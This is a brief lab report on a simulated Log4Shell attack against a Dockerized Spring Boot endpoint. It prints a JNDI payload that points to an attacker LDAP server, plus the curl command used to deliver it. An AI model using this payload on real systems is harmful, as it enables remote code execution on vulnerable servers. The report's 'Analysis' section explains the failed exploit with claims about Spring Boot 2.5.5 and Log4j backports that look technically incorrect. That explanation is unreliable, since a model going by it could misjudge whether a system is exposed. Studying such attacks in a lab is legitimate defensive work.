Log4Shell Partial Exploit Report

Exploit Attempt Summary

A simulated attack was conducted against a Spring Boot application using Log4j 2.14.1, a version vulnerable to CVE-2021-44228 (Log4Shell). The environment was containerized using Docker and exposed a /log endpoint that directly logged user input.

Payload Used

```
${jndi:ldap://host.docker.internal:1389/a}
```

This payload was delivered via a POST request to the vulnerable endpoint:

```
curl.exe -H "Content-Type: text/plain" --data '${jndi:ldap://host.docker.internal:1389/a}' http://localhost:8080/log
```

Observations

- The application received and logged the malicious payload, as confirmed by:
  User input: ${jndi:ldap://host.docker.internal:1389/a}
- However, no outbound JNDI lookup was performed:
  - The LDAP server (marshalsec) received no connections
  - The HTTP server hosting the malicious .class file saw no traffic

Analysis

While the application used a vulnerable Log4j version, the exploit chain was incomplete due to runtime mitigations:
- Spring Boot 2.5.5 disables JNDI lookups by default starting in early Log4j 2.15 backports
- The container did not explicitly override this behavior with -Dlog4j2.formatMsgNoLookups=false

Conclusion

The environment effectively simulated the setup and initial delivery of a Log4Shell attack. Although the payload did not fully execute, this aligns with real-world postmortem scenarios where vulnerable libraries were present, but exploitability depended on specific runtime flags or configurations. This partial exploit demonstrates both the importance of default hardening and the multi-step nature of exploitation.